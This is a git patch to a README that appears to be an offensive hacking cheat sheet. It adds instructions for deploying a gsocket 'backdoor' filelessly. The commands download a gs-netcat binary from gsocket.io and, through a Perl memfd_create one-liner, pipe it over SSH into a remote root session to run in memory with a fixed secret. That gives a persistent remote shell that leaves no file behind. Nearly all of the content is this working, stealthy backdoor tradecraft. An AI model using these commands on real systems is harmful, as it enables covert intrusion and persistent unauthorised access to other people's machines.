From eb2699f86ae30eaa20e15aedaa483ac7e00a6c8a Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Tue, 3 Sep 2024 15:57:44 +0100 Subject: [PATCH] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index e58bad8..e7d34b3 100644 --- a/README.md +++ b/README.md @@ -2046,6 +2046,12 @@ Deploy gsocket without writing to the filesystem (example): GS_ARGS="-ilqD -s 5sLosWHZLpE9riqt74KvG9" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)) ``` +The backdoor can be piped via SSH directly into the remote's memory and executed: +```sh +MX="perl -e '\$f=syscall(319,\$n=\"\",1);if(-1==\$f){\$f=syscall(279,\$n,1);}open(\$o,\">&=\".\$f);while(){print \$o \$_;};exec {\"/proc/\$\$/fd/\$f\"} foo, @ARGV' --" +curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec $MX -ilqD -s 5sLosWHZLpE9riqt74KvG9" +``` + --- ## 9. Crypto